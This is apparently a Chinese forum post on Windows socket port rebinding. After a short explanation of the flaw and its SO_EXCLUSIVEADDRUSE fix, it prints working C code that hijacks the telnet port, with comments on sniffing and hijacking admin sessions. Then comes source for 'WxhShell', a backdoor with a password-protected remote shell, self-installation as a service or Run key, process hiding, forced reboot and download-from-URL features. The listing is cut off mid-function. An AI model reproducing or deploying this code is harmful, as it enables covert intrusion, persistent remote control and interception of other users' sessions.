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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5`3 x(=b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }8AH/  
kxJs4BY0  
  saddr.sin_family = AF_INET; 0e&&k  
4IW fp&Q!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); --diG$x.  
>!qtue7B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k>i`G5Dh  
)^8[({r~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4Y'Ne2M{  
#8L: .,AYE  
  这意味着什么?意味着可以进行如下的攻击: 4RctYMz  
-uN{28;@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6|lsG6uf  
0Sk~m4fj(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iOfO+3'Z_U  
,FP0n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i+5Qs-dHA  
6Br^Ugy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :Z/\U*6~  
'0 ~?zP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'DXT7|Df  
h<M1q1)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t ]Ln(r  
1.u^shc&|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UUDbOxD^w  
f6J]=9jU  
  #include /pkN=OBR  
  #include _'mC*7+  
  #include G0m$bi=z  
  #include    4S*ifl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <B T18u\  
  int main() F3vywN1$,  
  { 6|'7Mr~\  
  WORD wVersionRequested; ;o)'dK  
  DWORD ret; s]e `q4ip  
  WSADATA wsaData; 8 pf]M&  
  BOOL val; gFuK/]gzI  
  SOCKADDR_IN saddr; QxPPgn7'  
  SOCKADDR_IN scaddr; VOC$Kqg;  
  int err; @C^x&Sjm  
  SOCKET s; e}-fGtFx  
  SOCKET sc; 66-\}8f8a  
  int caddsize; P c&dU1  
  HANDLE mt; ,<!*@xy7v  
  DWORD tid;   `%~}p7Zu  
  wVersionRequested = MAKEWORD( 2, 2 );  z9&j  
  err = WSAStartup( wVersionRequested, &wsaData ); Ax\d{0/oL2  
  if ( err != 0 ) { _\yR/W~  
  printf("error!WSAStartup failed!\n"); ]%-U~avph  
  return -1; 4Th?q{X  
  } pRh9+1EM;  
  saddr.sin_family = AF_INET; [;aM8N  
   /2d>nj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1P"{TMd?  
QKEtV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T^MY w  
  saddr.sin_port = htons(23); wbOYtN Y@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &Jb$YKt  
  { IhK SwT  
  printf("error!socket failed!\n"); h}'Hst  
  return -1; Q=%W-  
  } $bKXP(  
  val = TRUE; E@otV6Wk[@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $?!]?{K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?7)v:$(G}  
  { 4~A$u^scn  
  printf("error!setsockopt failed!\n"); qLX<[UL  
  return -1; .3UJ*^(?  
  } I74Rw*fB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h{_\ok C>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2o9B >f&g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SJX9oVJeZ  
`-CN\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {HM[ )t0  
  { eD(5+bm  
  ret=GetLastError(); <z%**gP~G  
  printf("error!bind failed!\n"); &-o5lrq  
  return -1; lb9?Uc@  
  } #J3}H   
  listen(s,2); irm4lb5  
  while(1) Q jXJo$I6  
  { aaf}AIL.  
  caddsize = sizeof(scaddr); f*"T]AX0  
  //接受连接请求 M`q|GY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XM+.Hel  
  if(sc!=INVALID_SOCKET) i"n_oO  
  { 0+1!-Wo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xu~N97\G  
  if(mt==NULL) VI9rezZ*  
  { Oq% TW|a#  
  printf("Thread Creat Failed!\n"); G"m0[|XH  
  break; oB!Y)f6H1  
  } UkD\ma  
  } [O^/"Qk  
  CloseHandle(mt); d])ctxB  
  } e0TxJ*  
  closesocket(s); l i?@BHEf  
  WSACleanup(); + \%]<YO  
  return 0; ox<&T|  
  }   2G-"HOG  
  DWORD WINAPI ClientThread(LPVOID lpParam) yU/?4/G!  
  { 9 4H')(  
  SOCKET ss = (SOCKET)lpParam; Q1|6;4L  
  SOCKET sc;  *p9)5  
  unsigned char buf[4096]; X%<qHbKB,  
  SOCKADDR_IN saddr; ed5oN^V.<  
  long num; _3%:m||,XP  
  DWORD val; Y)lr+~84f  
  DWORD ret; ><IWF#kUA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IEm~^D#<=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (||qFu9a  
  saddr.sin_family = AF_INET; 'ParMT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8Uh|V&  
  saddr.sin_port = htons(23); SD*q+Si,1U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PHT<]:"`<  
  { 'l!\2Wv2  
  printf("error!socket failed!\n"); l,Y5VGiH#  
  return -1; Wk3-J&QbS  
  } F-o?tU  
  val = 100; k kD#Bb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f^QC4hf0  
  { x.t&NP^V)  
  ret = GetLastError(); P}a$#a'!  
  return -1; q$yg^:]2  
  } CDtL.a\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V D7^wd9  
  { 4?@#w>(  
  ret = GetLastError(); VfJ{);   
  return -1; A9SL|9Q  
  } n2-+.9cY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ami>Pp  
  { OW=3t#"7Kp  
  printf("error!socket connect failed!\n"); g8'8"9:xC  
  closesocket(sc); "]p&7  
  closesocket(ss); `{K-eHlrM9  
  return -1; b@4UR<  
  } !D{z. KO  
  while(1) }m?Ut|  
  { =ZU!i0 K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W\Scak>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `Nvhp]E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BcpbS%S  
  num = recv(ss,buf,4096,0); GwDOxH'  
  if(num>0) NWiDNK[VE}  
  send(sc,buf,num,0); W!.FnM5x  
  else if(num==0) }oG6XI9  
  break; iNi1+sm  
  num = recv(sc,buf,4096,0); LzLJ6A>;R  
  if(num>0) Bx}"X?%S  
  send(ss,buf,num,0); _nzq(m1@  
  else if(num==0) ,MJddbcg  
  break; [cEGkz  
  } 9'~qA(=.?  
  closesocket(ss); &,PA+#  
  closesocket(sc); Z>3~n  
  return 0 ; [ywF!#'){  
  } Hr}"g@ <  
WhH60/`  
p(I^Y{sGI  
========================================================== Gl w|*{$  
MW +DqT.h  
下边附上一个代码,,WXhSHELL YZOwr72VL  
hTZ6@i/pS  
==========================================================  )$f?v22  
*UW 8|\;  
#include "stdafx.h" 3I}AA.h'00  
$,r%@'=&  
#include <stdio.h> 0)h.[O8@>  
#include <string.h> ZW"f*vwQo  
#include <windows.h> \pK&gdw  
#include <winsock2.h> ?Q=(?yR0]  
#include <winsvc.h> am.d^'  
#include <urlmon.h> ;}S_PnwC@  
k 75 p  
#pragma comment (lib, "Ws2_32.lib") CpX[8>&osD  
#pragma comment (lib, "urlmon.lib") {P?DkUO}  
O{byMV{Ou  
#define MAX_USER   100 // 最大客户端连接数 1#"wfiW  
#define BUF_SOCK   200 // sock buffer &u[F)|  
#define KEY_BUFF   255 // 输入 buffer !E00I0W-h  
/>9`Mbg[G  
#define REBOOT     0   // 重启 |8k^jq  
#define SHUTDOWN   1   // 关机 5lzbg   
B3[X{n$px  
#define DEF_PORT   5000 // 监听端口 :$yOic}y  
MU] F'6V  
#define REG_LEN     16   // 注册表键长度 /i@.Xg@:  
#define SVC_LEN     80   // NT服务名长度 .L#4#IO  
@(x]+*)  
// 从dll定义API AZNo%!)o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :&z!o"K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dn#5H{D-d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  FO!0TyQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tQ'R(H`  
]!P6Z?  
// wxhshell配置信息 tZ@&di:-F  
struct WSCFG { BSSehe*  
  int ws_port;         // 监听端口 a8[%-eW,  
  char ws_passstr[REG_LEN]; // 口令 n 78!]O  
  int ws_autoins;       // 安装标记, 1=yes 0=no \?e2qu/ C  
  char ws_regname[REG_LEN]; // 注册表键名 3bC-B!{;g  
  char ws_svcname[REG_LEN]; // 服务名 d@JavcR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gV':Xe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zN+jn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t,XbF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $`0^E#Nl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FChW`b&S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xk8NX-:  
G;t< dJ8  
}; ]+qd|}^  
g_tEUaiK  
// default Wxhshell configuration Fgwe`[  
struct WSCFG wscfg={DEF_PORT, 9_&]7ABV  
    "xuhuanlingzhe", $E:z*~ ?  
    1, ^Vh^Z)gGi  
    "Wxhshell",  %O(W;O  
    "Wxhshell", *n@rPr-  
            "WxhShell Service", &];W#9"Z  
    "Wrsky Windows CmdShell Service", n.5M6i/~a  
    "Please Input Your Password: ", HH(2  
  1, &V &beq4)p  
  "http://www.wrsky.com/wxhshell.exe", 7{S;~VH3  
  "Wxhshell.exe" 'S v V10$5  
    }; ,e`n2)  
X&49C:jN  
// 消息定义模块 @{<^rLt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5 8U[IGs(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PDgZb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O6-';H:I]L  
char *msg_ws_ext="\n\rExit."; :u@ w ;  
char *msg_ws_end="\n\rQuit."; v,rKuvc'  
char *msg_ws_boot="\n\rReboot..."; /!"sPtIh  
char *msg_ws_poff="\n\rShutdown..."; yQu/({D  
char *msg_ws_down="\n\rSave to "; 98zJ?NaD&  
UNrO$aX!1'  
char *msg_ws_err="\n\rErr!"; ph2 _P[S'  
char *msg_ws_ok="\n\rOK!"; Vn/FW?d7  
|N^8zo :  
char ExeFile[MAX_PATH]; ;uZq_^?:9&  
int nUser = 0; %_5?/H@%3z  
HANDLE handles[MAX_USER]; iY sQ:3s  
int OsIsNt; a{By U%  
65+2+p  
SERVICE_STATUS       serviceStatus; 3<a|_(K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fx^yC.$2  
G}WY0FC6  
// 函数声明 %3HF_DNOY=  
int Install(void); $Zrc-tkV  
int Uninstall(void); YO@~y *,  
int DownloadFile(char *sURL, SOCKET wsh); K"Irg.  
int Boot(int flag); G-o6~"J\  
void HideProc(void); G&6`?1k  
int GetOsVer(void); /W}"/W9  
int Wxhshell(SOCKET wsl); YB{'L +Wbw  
void TalkWithClient(void *cs); \Q?#^<O  
int CmdShell(SOCKET sock); *'n=LB8R  
int StartFromService(void); {ueDwnZ  
int StartWxhshell(LPSTR lpCmdLine); rXGaav9  
ldaT: er9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cft@s Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f.vJJa  
~ /K'n  
// 数据结构和表定义 FA%BzU5^  
SERVICE_TABLE_ENTRY DispatchTable[] = CA/Lv{[2  
{ +- hfl/$  
{wscfg.ws_svcname, NTServiceMain}, -7I %^u  
{NULL, NULL} 6LT.ng  
}; bSTTr<W  
ZU 7u>  
// 自我安装 g</Mk^CE  
int Install(void) <@n3vO6  
{ `,c~M  
  char svExeFile[MAX_PATH]; ub4(g~E  
  HKEY key; `P;3,@ e  
  strcpy(svExeFile,ExeFile); =$kSn\L,  
| gGD3H  
// 如果是win9x系统,修改注册表设为自启动 xCu\jc)2  
if(!OsIsNt) { ~!Rf5QA85  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b|.<rV'BTt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B-$ps=G+z  
  RegCloseKey(key); }qhND-9#@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OR10IS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "@xL9[d  
  RegCloseKey(key); W=K+kB  
  return 0; sg<c1  
    } a7z% )i;Z  
  } Nqj5,9*c  
} w (odgD  
else { .  
Oj7).U0;#  
// 如果是NT以上系统,安装为系统服务 5*y6{7FLp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KM oDcAjH  
if (schSCManager!=0) # *7ImEN  
{ y(**F8>?xE  
  SC_HANDLE schService = CreateService NQd0$q  
  ( \Dx)P[Ur  
  schSCManager, v@:m8Y(t  
  wscfg.ws_svcname, 5lE9UoG[Q  
  wscfg.ws_svcdisp, pf&SIG  
  SERVICE_ALL_ACCESS, xwijCFI*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '^:q|h  
  SERVICE_AUTO_START, uHt@;$9A  
  SERVICE_ERROR_NORMAL, 7C@m(oK  
  svExeFile, )EsFy6K:  
  NULL, "!o|^nN,  
  NULL, *Y ?&N2@c  
  NULL, ,Mn?h\  
  NULL,  1W>0  
  NULL 1z8fhE iiE  
  ); @l~MY *hp  
  if (schService!=0) Lyjp  
  { - SCFWc  
  CloseServiceHandle(schService); Ec!R3+  
  CloseServiceHandle(schSCManager); *,XT;h$'>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HwBJUr91]  
  strcat(svExeFile,wscfg.ws_svcname); XpP}(A@G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F:G Vysy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;E\e.R  
  RegCloseKey(key); 1KI5tf>>p  
  return 0; arn7<w0  
    } o{MmW~/o&  
  } g+ cH  
  CloseServiceHandle(schSCManager); J['?ud}@  
} ].x`Fq3  
} q{Gf@  
IOH6h=  
return 1; /| [%~`?BM  
} tfd!;`B  
%T~LK=m  
// 自我卸载 +?C7(-U>  
int Uninstall(void) 8wzQr2:  
{ 5S%#3YHY2  
  HKEY key; }vX/55  
^cI RP  
if(!OsIsNt) { @9h6D<?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [F^j(qTR  
  RegDeleteValue(key,wscfg.ws_regname); lUM-~  
  RegCloseKey(key); I oC}0C7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _I #a `G  
  RegDeleteValue(key,wscfg.ws_regname); yJHFo[wGMJ  
  RegCloseKey(key); (!diPwcv  
  return 0; D~f[Rg  
  } -Rr Qv(  
} M_#^zo "x  
} S(5&%}QFQ  
else { f:/"OCig  
 @@+BPLl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )9V8&,  
if (schSCManager!=0) C,dRdEB>  
{ @t,Y< )U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?~rz'Pu~  
  if (schService!=0) Ccy0!re  
  { fzjZiBK@  
  if(DeleteService(schService)!=0) { [hKt4]R  
  CloseServiceHandle(schService); Znh) m  
  CloseServiceHandle(schSCManager); W0 N*c*k  
  return 0; 2[Bw+<YA`  
  } |&0Cuwt  
  CloseServiceHandle(schService); #9@UzfZAwT  
  } -f%J_`  
  CloseServiceHandle(schSCManager); b:6e2|xf?  
} Ve|=<7%%S  
} 1H7 bPl|  
690;\O '  
return 1; :3By7BZgj  
} K}Rq<z W  
|F52)<\  
// 从指定url下载文件 C3e0d~C  
int DownloadFile(char *sURL, SOCKET wsh) #w]@yL]|is  
{ +Uf+`  
  HRESULT hr; ]*pro|  
char seps[]= "/"; &l(PWU  
char *token; C4t@;U=x  
char *file; oa8xuFu(n  
char myURL[MAX_PATH]; `:;fc  
char myFILE[MAX_PATH]; ]s^Pw>/`  
t,R4q*  
strcpy(myURL,sURL); Q`[J3-Q*{  
  token=strtok(myURL,seps); Iq: G9M  
  while(token!=NULL) iig@$ i#  
  { kZHIzU  
    file=token; Nmu=p~f}3`  
  token=strtok(NULL,seps); ,~qjL|9  
  } bWfT-Jewh  
35fsr=  
GetCurrentDirectory(MAX_PATH,myFILE); Uk= L?t  
strcat(myFILE, "\\"); 2/#%^,Kb2  
strcat(myFILE, file); g.eMGwonTJ  
  send(wsh,myFILE,strlen(myFILE),0); qZDP-  
send(wsh,"...",3,0); dp#'~[j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Lsz)\yIPj  
  if(hr==S_OK) J nf@u  
return 0; 8z'_dfP=5  
else ttA0* >'  
return 1; PitDk 1T  
{qPu }?0  
} 9|1J pb  
*WZ?C|6+  
// 系统电源模块 (eF "[,z  
int Boot(int flag) s N|7   
{ ~<Sb:I zld  
  HANDLE hToken; tk,Vp3p  
  TOKEN_PRIVILEGES tkp; \TTt!"aK  
04QY x}a  
  if(OsIsNt) { Qwu~ {tf+'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 137:T:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7q|51rZz  
    tkp.PrivilegeCount = 1; 8d*W7>rq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jp P'{mc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wd/m]]W8Q  
if(flag==REBOOT) { r@]iy78 j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \}+b_J6-  
  return 0; zkmfu~_)  
} c:sk1I,d~^  
else { >Yt+LdG!-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @6:J$B~)u  
  return 0; $z*Y:vFP  
} w2e 9Ue~WH  
  } qQx5n  
  else { :x/L.Bz  
if(flag==REBOOT) { n6s[q- td  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =s$UU15  
  return 0; xO2CgqEb  
} p}O[A`  
else { 23~KzC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \S`|7JYW  
  return 0; 8S*W+l19f  
} %:hU:+G E  
} v\b@;H`  
,T\)%q  
return 1; 5t-dvYgU  
} -x0VvkHu  
.0f6b  
// win9x进程隐藏模块 v'H\KR-;  
void HideProc(void) 55]E<2't  
{ qJPEq%'Q  
w.6Gp;O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %q)*8  
  if ( hKernel != NULL ) g6 Nw].{  
  { a2\r^fY/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 52>,JHq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K~ShV  
    FreeLibrary(hKernel); {m2lVzK  
  } mDJN)CX  
Xj("  
return; [[ ;vZ  
} ?wQaM3 |^:  
=`%"-A  
// 获取操作系统版本 l/F'W}  
int GetOsVer(void) B2DWSp-8*  
{ K\a=bA}DG  
  OSVERSIONINFO winfo; 8KhE`C9z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '2BE"e  
  GetVersionEx(&winfo); ( 17=|s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {#X]D~;s+  
  return 1; .|Zt&5osI  
  else A,'JmF$d  
  return 0; B>"O~ gZ{#  
} 1hnw+T<<W  
xU_Dg56z'&  
// 客户端句柄模块 3iC$ "9!p  
int Wxhshell(SOCKET wsl) gV-x1s+  
{ %qj8*1  
  SOCKET wsh; X=U>r  
  struct sockaddr_in client; g<&n V>wF  
  DWORD myID; -p\uW 0XA  
N! N>/9  
  while(nUser<MAX_USER) G(6MLh1  
{ )r^)e 4UI  
  int nSize=sizeof(client); 4W$ t28)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .uGvmD <;x  
  if(wsh==INVALID_SOCKET) return 1; 3Sb'){.MT+  
, e6}p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); //_aIp  
if(handles[nUser]==0) h<8.0  
  closesocket(wsh); ?rG>SA>o  
else q V +gQ  
  nUser++; D3BT>zTGK  
  } d5O_~x f&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :xz,PeXo7  
a.O pxd  
  return 0; @CJ`T&  
} ~$\9T.tre2  
Fw!TTH6l0  
// 关闭 socket 9X-w5$<  
void CloseIt(SOCKET wsh) sWc_,[b  
{ s v}o%  
closesocket(wsh); eAPNF?0yh  
nUser--; CCQ38P@rv  
ExitThread(0); 1!4-M$-  
} ?=\&O=_ln  
5i42o+'  
// 客户端请求句柄 i G%h-  
void TalkWithClient(void *cs) Cj6+zJ  
{ +4Uxq{.K  
l9"T"9C{  
  SOCKET wsh=(SOCKET)cs; 8UahoNrSt  
  char pwd[SVC_LEN]; r%^l~PN  
  char cmd[KEY_BUFF]; Gec?  
char chr[1]; 2sryhS'(H  
int i,j; iE;D_m.>`O  
!8 V  
  while (nUser < MAX_USER) { yK3b^  
6|-V{  
if(wscfg.ws_passstr) { hhU: nw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s.p4+K J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qQ%RnD9  
  //ZeroMemory(pwd,KEY_BUFF); (-:lO{@FsC  
      i=0; D; bHX  
  while(i<SVC_LEN) { 1"4Pan  
-J<{NF  
  // 设置超时 ev}ugRxt|k  
  fd_set FdRead; &eqeQD6  
  struct timeval TimeOut; *49lM;  
  FD_ZERO(&FdRead); [$<\*d/  
  FD_SET(wsh,&FdRead); ^-&BGQM  
  TimeOut.tv_sec=8; PS=N]e7k'  
  TimeOut.tv_usec=0; 4|#@41\ B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jrKRXS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UbnX%2TW  
kU {>hG4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@kNvi  
  pwd=chr[0]; oXxY$x*R1  
  if(chr[0]==0xd || chr[0]==0xa) { \[57Dmo  
  pwd=0; ,R~{$QUl  
  break; k)t_U3i  
  } 7l~d_<h  
  i++; J:!m49fF  
    } p!OCF]r  
abW[hp  
  // 如果是非法用户,关闭 socket ruKm_j#J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +=:*[JEK,U  
} pp2,d`01[L  
R iPxz=kr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !)1gGXRY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %\|9_=9Wn  
Us.")GiHE  
while(1) { ~mR@L`"l  
t6+c"=P#  
  ZeroMemory(cmd,KEY_BUFF); ]"2;x  
C2[* $ 1U  
      // 自动支持客户端 telnet标准   .EF(<JC?  
  j=0; b5u8j  
  while(j<KEY_BUFF) { K|{IX^3)V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? +q(,P@*  
  cmd[j]=chr[0]; Wz%b,!  
  if(chr[0]==0xa || chr[0]==0xd) { R. (fo:ve>  
  cmd[j]=0; 0,z3A>C  
  break; dx&!RK+  
  } P"%QFt,  
  j++; 3hi0  
    } j+9;Cp]NV  
Vx<`6uv  
  // 下载文件 XB.xIApmy  
  if(strstr(cmd,"http://")) { Nf!g1D"U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `+\6;nM  
  if(DownloadFile(cmd,wsh)) S#{jyU9 ]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b5@sG^  
  else sYG:\>}ie  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )9]DJ!]&Q"  
  } .S{FEV  
  else { j v4O  
QH d^?H*  
    switch(cmd[0]) { GI[TD?s  
  O?=YY@j  
  // 帮助 2I@d=T{K  
  case '?': { $5]}]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2I|`j^  
    break; c;13V(Djy  
  } bih%hqny  
  // 安装 +QZ}c@'r  
  case 'i': { H:k?#7D(  
    if(Install()) yZ:AJNb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ms]r1x"  
    else 6/5Xy69:h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =<;C5kSD  
    break; .DX-biX,  
    } x@)G@'vV|  
  // 卸载 JH|]B|3  
  case 'r': { @7? O#WmL  
    if(Uninstall()) Xt .ca,`U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #hZ`r5GvTj  
    else 7G \a5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vH?rln  
    break; RDSkFK( D  
    } {O=PVW2S  
  // 显示 wxhshell 所在路径 #aua6V!"  
  case 'p': { z8@[]6cW  
    char svExeFile[MAX_PATH]; K7-z.WTUR  
    strcpy(svExeFile,"\n\r"); 8)o%0#;0B  
      strcat(svExeFile,ExeFile); hE;|VSdo  
        send(wsh,svExeFile,strlen(svExeFile),0); cp)BPg  
    break; w:VD[\h  
    } +L,V_z  
  // 重启 +7KRoF|  
  case 'b': {  ;H4s[#K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !\}X?G f  
    if(Boot(REBOOT)) B" 0a5-pkr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N*`qsv 0  
    else { H,3WdSL`K  
    closesocket(wsh); K0usBA  
    ExitThread(0); )4e8LO  
    } z @21Z`,  
    break; L+X:M/)  
    } )vsX (/WU  
  // 关机 <0!O'" "J  
  case 'd': { YctWSfh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SYd6D@^2j  
    if(Boot(SHUTDOWN)) xjy(f~'  
